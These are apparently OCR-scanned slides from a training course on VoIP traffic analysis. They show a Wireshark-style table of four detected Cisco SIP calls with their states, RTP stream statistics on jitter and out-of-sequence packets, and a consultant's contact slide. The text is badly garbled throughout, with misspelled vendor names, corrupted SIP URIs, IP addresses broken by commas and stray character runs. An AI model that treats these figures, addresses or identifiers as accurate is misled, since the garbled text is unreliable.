25 45.210.9.97 45.210.3.90 B6.754869461 RTP 214 PT=ITU-T G.7/11l PCMU, SSRCs

This example contains four (4) calls and is from a VoIP network using Cisco phones and

SIP signaling with G.711 audio codec
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VolIP Call Detection, Analysis and Playback

Detected 4 volP Cals, Selected 0 Calis.

Start Time o IEtinmF_- 1 |In|na| Speaker Ll iFrDm L] iTD L] JP‘.'rJ'rncti' L] iP‘au:hets L] !Etatz ‘|
4, 774195 5.583414 45.210.3.90 "Cleco 3290 «sip: 3290@as: <sip: 4639 7ifcsco.sip.ilabs.in' SIP 5 INCALL
56, 778282 5656.9492725 45,210, 3.90 “Cizco 32907 <=sip: 3290@asc <sip: 3359@csco. sip. ilabs.n SIP 4 REECTED
B85, 458126 215.260077 45.210,3.90 "Cizro 3290 <gip: 3290@cs: <sip: 46 7 2@asco.sip.ilabs.n SIP 22 COMPLETED
152, 2395494 152.561234 45.210,3.90 Cleco 32907 <sip: 32908as: <sip: 3358 @Gsco.sip.ilabs.in' SIP 5 INCALL

1 e e T
o |

¥ From 45.210.5.72:2233 10 45.210.3.90: 19716 Duwration:102.07 Orop by Jitter Buffi89(2.6%) Outof Seq: 40, 1%:)

Wrong Timestamp: 29(0.99%)

Jitter buffer [ms] IECI j T UseATP timestamp

[ \iew as time of day

Diecode Play
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When All Else Falils...
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Contact Information

Phill Shade: phill.shade@gmail.com

Merlion’s Keep Consulting: merlions.keep @ gmail.com

International: info@cybersecurityinstitute.eu

Merlion’s Keep Consulting & Training

Packetsy Never Lie
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